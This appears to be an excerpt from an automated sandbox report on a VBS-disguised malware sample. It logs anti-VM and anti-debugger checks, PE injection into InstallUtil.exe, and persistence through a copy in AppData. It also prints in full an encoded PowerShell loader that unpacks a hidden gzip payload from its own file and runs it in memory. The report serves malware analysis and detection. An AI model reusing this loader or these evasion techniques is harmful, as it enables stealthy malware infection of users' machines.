Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96638
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96422
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95745
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95526
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95422
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95093
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94983
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799937
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799602

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: Xml.vbs.exe, 0000000C.00000002.1748760393.00000000097C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004A28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: wscript.exe, 00000008.00000002.1601024744.000001FA1B683000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}<
Source: wscript.exe, 00000009.00000003.1645677809.0000023042083000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004A28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: InstallUtil.exe, 0000000E.00000002.2762032172.0000000005FA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllJ
Source: Xml.vbs.exe, 0000000C.00000002.1748760393.00000000097C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareVBox
Source: InstallUtil.exe, 00000006.00000002.1690304177.0000000005E84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\GRAINS.vbs.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 6_2_02A370B0 CheckRemoteDebuggerPresent,

6_2_02A370B0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\GRAINS.vbs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 907008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 440000
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: D4B008

Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\GRAINS.vbs.exe "C:\Users\user\Desktop\GRAINS.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Xml.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Xml.vbs.exe "C:\Users\user\AppData\Roaming\Xml.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"

Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\GRAINS.vbs.exe "c:\users\user\desktop\grains.vbs.exe" -enc jabyahiaeqboagoaeqbpacaapqagafsauwb5ahmadablag0algbeagkayqbnag4abwbzahqaaqbjahmalgbqahiabwbjaguacwbzaf0aoga6aecazqb0aemadqbyahiazqbuahqauabyag8aywblahmacwaoackalgbnageaaqbuae0abwbkahuabablac4argbpagwazqboageabqblac4augblahaababhagmazqaoaccalgblahgazqanacwajwanackaowakaeoaeab0agmazgagad0aiabnaguadaatagmabwbuahqazqbuahqaiaakafgacgb5aggaagb5agkaiab8acaauwblagwazqbjahqalqbpagiaagblagmadaagac0atabhahmadaagadeaowagacqavqb3agoaygbnacaapqagafsauwb5ahmadablag0algbdag8abgb2aguacgb0af0aoga6aeyacgbvag0aqgbhahmazqa2adqauwb0ahiaaqbuagcakaakaeoaeab0agmazgauafiazqbwagwayqbjaguakaanafiarqbnacaajwasacaajwanackalgbsaguacabsageaywblacgajwbaaccalaagaccaqqanackakqa7acqavgbiagqaawb2acaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauae0azqbtag8acgb5afmadabyaguayqbtacgaiaasacaajabvahcaagbiagcaiaapadsajabqagkaeabnahyaeqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbjae8algbnaguabqbvahiaeqbtahqacgblageabqa7acqauwb6ahkaaabwagmaeqb6ag0aiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4asqbpac4aqwbvag0acabyaguacwbzagkabwbuac4arwb6agkacabtahqacgblageabqagacqavgbiagqaawb2acwaiaaoafsasqbpac4aqwbvag0acabyaguacwbzagkabwbuac4aqwbvag0acabyaguacwbzagkabwbuae0abwbkaguaxqa6adoarablagmabwbtahaacgblahmacwapadsajabtahoaeqboahaaywb5ahoabqauaemabwbwahkavabvacgaiaakafaaaqb4agcadgb5acaakqa7acqauwb6ahkaaabwagmaeqb6ag0algbdagwabwbzaguakaapadsajabwagiazabrahyalgbdagwabwbzaguakaapadsawwbiahkadablafsaxqbdacaajabvahcaagbiagcaiaa9acaajabqagkaeabnahyaeqauafqabwbbahiacgbhahkakaapadsawwbbahiacgbhahkaxqa6adoaugblahyazqbyahmazqaoacqavqb3agoaygbnackaowagacqauwbxagcaagb6agcaiaa9acaawwbtahkacwb0aguabqauaeeacabwaeqabwbtageaaqbuaf0aoga6aemadqbyahiazqbuahqarabvag0ayqbpag4algbmag8ayqbkacgajabvahcaagbiagcakqa7acaajabiagoayqb2agsaeqbtagkadqagad0aiaakafmacqbnagoaegbnac4arqbuahqacgb5afaabwbpag4adaa7acaawwbtahkacwb0aguabqauaeqazqbsaguazwbhahqazqbdadoaogbdahiazqbhahqazqbeaguabablagcayqb0aguakabbaeeaywb0agkabwbuaf0alaagacqasabqageadgbrahkabqbpahualgbeaguaywbsageacgbpag4azwbuahkacablacwaiaakaegaagbhahyaawb5ag0aaqb1ac4atgbhag0azqapac4arab5ag4ayqbtagkaywbjag4adgbvagsazqaoackaiab8acaatwb1ahqalqboahuababsaa==
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Xml.vbs.exe "c:\users\user\appdata\roaming\xml.vbs.exe" -enc jabyahiaeqboagoaeqbpacaapqagafsauwb5ahmadablag0algbeagkayqbnag4abwbzahqaaqbjahmalgbqahiabwbjaguacwbzaf0aoga6aecazqb0aemadqbyahiazqbuahqauabyag8aywblahmacwaoackalgbnageaaqbuae0abwbkahuabablac4argbpagwazqboageabqblac4augblahaababhagmazqaoaccalgblahgazqanacwajwanackaowakaeoaeab0agmazgagad0aiabnaguadaatagmabwbuahqazqbuahqaiaakafgacgb5aggaagb5agkaiab8acaauwblagwazqbjahqalqbpagiaagblagmadaagac0atabhahmadaagadeaowagacqavqb3agoaygbnacaapqagafsauwb5ahmadablag0algbdag8abgb2aguacgb0af0aoga6aeyacgbvag0aqgbhahmazqa2adqauwb0ahiaaqbuagcakaakaeoaeab0agmazgauafiazqbwagwayqbjaguakaanafiarqbnacaajwasacaajwanackalgbsaguacabsageaywblacgajwbaaccalaagaccaqqanackakqa7acqavgbiagqaawb2acaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauae0azqbtag8acgb5afmadabyaguayqbtacgaiaasacaajabvahcaagbiagcaiaapadsajabqagkaeabnahyaeqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbjae8algbnaguabqbvahiaeqbtahqacgblageabqa7acqauwb6ahkaaabwagmaeqb6ag0aiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4asqbpac4aqwbvag0acabyaguacwbzagkabwbuac4arwb6agkacabtahqacgblageabqagacqavgbiagqaawb2acwaiaaoafsasqbpac4aqwbvag0acabyaguacwbzagkabwbuac4aqwbvag0acabyaguacwbzagkabwbuae0abwbkaguaxqa6adoarablagmabwbtahaacgblahmacwapadsajabtahoaeqboahaaywb5ahoabqauaemabwbwahkavabvacgaiaakafaaaqb4agcadgb5acaakqa7acqauwb6ahkaaabwagmaeqb6ag0algbdagwabwbzaguakaapadsajabwagiazabrahyalgbdagwabwbzaguakaapadsawwbiahkadablafsaxqbdacaajabvahcaagbiagcaiaa9acaajabqagkaeabnahyaeqauafqabwbbahiacgbhahkakaapadsawwbbahiacgbhahkaxqa6adoaugblahyazqbyahmazqaoacqavqb3agoaygbnackaowagacqauwbxagcaagb6agcaiaa9acaawwbtahkacwb0aguabqauaeeacabwaeqabwbtageaaqbuaf0aoga6aemadqbyahiazqbuahqarabvag0ayqbpag4algbmag8ayqbkacgajabvahcaagbiagcakqa7acaajabiagoayqb2agsaeqbtagkadqagad0aiaakafmacqbnagoaegbnac4arqbuahqacgb5afaabwbpag4adaa7acaawwbtahkacwb0aguabqauaeqazqbsaguazwbhahqazqbdadoaogbdahiazqbhahqazqbeaguabablagcayqb0aguakabbaeeaywb0agkabwbuaf0alaagacqasabqageadgbrahkabqbpahualgbeaguaywbsageacgbpag4azwbuahkacablacwaiaakaegaagbhahyaawb5ag0aaqb1ac4atgbhag0azqapac4arab5ag4ayqbtagkaywbjag4adgbvagsazqaoackaiab8acaatwb1ahqalqboahuababsaa==
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\GRAINS.vbs.exe "c:\users\user\desktop\grains.vbs.exe" -enc jabyahiaeqboagoaeqbpacaapqagafsauwb5ahmadablag0algbeagkayqbnag4abwbzahqaaqbjahmalgbqahiabwbjaguacwbzaf0aoga6aecazqb0aemadqbyahiazqbuahqauabyag8aywblahmacwaoackalgbnageaaqbuae0abwbkahuabablac4argbpagwazqboageabqblac4augblahaababhagmazqaoaccalgblahgazqanacwajwanackaowakaeoaeab0agmazgagad0aiabnaguadaatagmabwbuahqazqbuahqaiaakafgacgb5aggaagb5agkaiab8acaauwblagwazqbjahqalqbpagiaagblagmadaagac0atabhahmadaagadeaowagacqavqb3agoaygbnacaapqagafsauwb5ahmadablag0algbdag8abgb2aguacgb0af0aoga6aeyacgbvag0aqgbhahmazqa2adqauwb0ahiaaqbuagcakaakaeoaeab0agmazgauafiazqbwagwayqbjaguakaanafiarqbnacaajwasacaajwanackalgbsaguacabsageaywblacgajwbaaccalaagaccaqqanackakqa7acqavgbiagqaawb2acaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauae0azqbtag8acgb5afmadabyaguayqbtacgaiaasacaajabvahcaagbiagcaiaapadsajabqagkaeabnahyaeqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbjae8algbnaguabqbvahiaeqbtahqacgblageabqa7acqauwb6ahkaaabwagmaeqb6ag0aiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4asqbpac4aqwbvag0acabyaguacwbzagkabwbuac4arwb6agkacabtahqacgblageabqagacqavgbiagqaawb2acwaiaaoafsasqbpac4aqwbvag0acabyaguacwbzagkabwbuac4aqwbvag0acabyaguacwbzagkabwbuae0abwbkaguaxqa6adoarablagmabwbtahaacgblahmacwapadsajabtahoaeqboahaaywb5ahoabqauaemabwbwahkavabvacgaiaakafaaaqb4agcadgb5acaakqa7acqauwb6ahkaaabwagmaeqb6ag0algbdagwabwbzaguakaapadsajabwagiazabrahyalgbdagwabwbzaguakaapadsawwbiahkadablafsaxqbdacaajabvahcaagbiagcaiaa9acaajabqagkaeabnahyaeqauafqabwbbahiacgbhahkakaapadsawwbbahiacgbhahkaxqa6adoaugblahyazqbyahmazqaoacqavqb3agoaygbnackaowagacqauwbxagcaagb6agcaiaa9acaawwbtahkacwb0aguabqauaeeacabwaeqabwbtageaaqbuaf0aoga6aemadqbyahiazqbuahqarabvag0ayqbpag4algbmag8ayqbkacgajabvahcaagbiagcakqa7acaajabiagoayqb2agsaeqbtagkadqagad0aiaakafmacqbnagoaegbnac4arqbuahqacgb5afaabwbpag4adaa7acaawwbtahkacwb0aguabqauaeqazqbsaguazwbhahqazqbdadoaogbdahiazqbhahqazqbeaguabablagcayqb0aguakabbaeeaywb0agkabwbuaf0alaagacqasabqageadgbrahkabqbpahualgbeaguaywbsageacgbpag4azwbuahkacablacwaiaakaegaagbhahyaawb5ag0aaqb1ac4atgbhag0azqapac4arab5ag4ayqbtagkaywbjag4adgbvagsazqaoackaiab8acaatwb1ahqalqboahuababsaa==	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Xml.vbs.exe "c:\users\user\appdata\roaming\xml.vbs.exe" -enc jabyahiaeqboagoaeqbpacaapqagafsauwb5ahmadablag0algbeagkayqbnag4abwbzahqaaqbjahmalgbqahiabwbjaguacwbzaf0aoga6aecazqb0aemadqbyahiazqbuahqauabyag8aywblahmacwaoackalgbnageaaqbuae0abwbkahuabablac4argbpagwazqboageabqblac4augblahaababhagmazqaoaccalgblahgazqanacwajwanackaowakaeoaeab0agmazgagad0aiabnaguadaatagmabwbuahqazqbuahqaiaakafgacgb5aggaagb5agkaiab8acaauwblagwazqbjahqalqbpagiaagblagmadaagac0atabhahmadaagadeaowagacqavqb3agoaygbnacaapqagafsauwb5ahmadablag0algbdag8abgb2aguacgb0af0aoga6aeyacgbvag0aqgbhahmazqa2adqauwb0ahiaaqbuagcakaakaeoaeab0agmazgauafiazqbwagwayqbjaguakaanafiarqbnacaajwasacaajwanackalgbsaguacabsageaywblacgajwbaaccalaagaccaqqanackakqa7acqavgbiagqaawb2acaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauae0azqbtag8acgb5afmadabyaguayqbtacgaiaasacaajabvahcaagbiagcaiaapadsajabqagkaeabnahyaeqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbjae8algbnaguabqbvahiaeqbtahqacgblageabqa7acqauwb6ahkaaabwagmaeqb6ag0aiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4asqbpac4aqwbvag0acabyaguacwbzagkabwbuac4arwb6agkacabtahqacgblageabqagacqavgbiagqaawb2acwaiaaoafsasqbpac4aqwbvag0acabyaguacwbzagkabwbuac4aqwbvag0acabyaguacwbzagkabwbuae0abwbkaguaxqa6adoarablagmabwbtahaacgblahmacwapadsajabtahoaeqboahaaywb5ahoabqauaemabwbwahkavabvacgaiaakafaaaqb4agcadgb5acaakqa7acqauwb6ahkaaabwagmaeqb6ag0algbdagwabwbzaguakaapadsajabwagiazabrahyalgbdagwabwbzaguakaapadsawwbiahkadablafsaxqbdacaajabvahcaagbiagcaiaa9acaajabqagkaeabnahyaeqauafqabwbbahiacgbhahkakaapadsawwbbahiacgbhahkaxqa6adoaugblahyazqbyahmazqaoacqavqb3agoaygbnackaowagacqauwbxagcaagb6agcaiaa9acaawwbtahkacwb0aguabqauaeeacabwaeqabwbtageaaqbuaf0aoga6aemadqbyahiazqbuahqarabvag0ayqbpag4algbmag8ayqbkacgajabvahcaagbiagcakqa7acaajabiagoayqb2agsaeqbtagkadqagad0aiaakafmacqbnagoaegbnac4arqbuahqacgb5afaabwbpag4adaa7acaawwbtahkacwb0aguabqauaeqazqbsaguazwbhahqazqbdadoaogbdahiazqbhahqazqbeaguabablagcayqb0aguakabbaeeaywb0agkabwbuaf0alaagacqasabqageadgbrahkabqbpahualgbeaguaywbsageacgbpag4azwbuahkacablacwaiaakaegaagbhahyaawb5ag0aaqb1ac4atgbhag0azqapac4arab5ag4ayqbtagkaywbjag4adgbvagsazqaoackaiab8acaatwb1ahqalqboahuababsaa==	Jump to behavior

Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
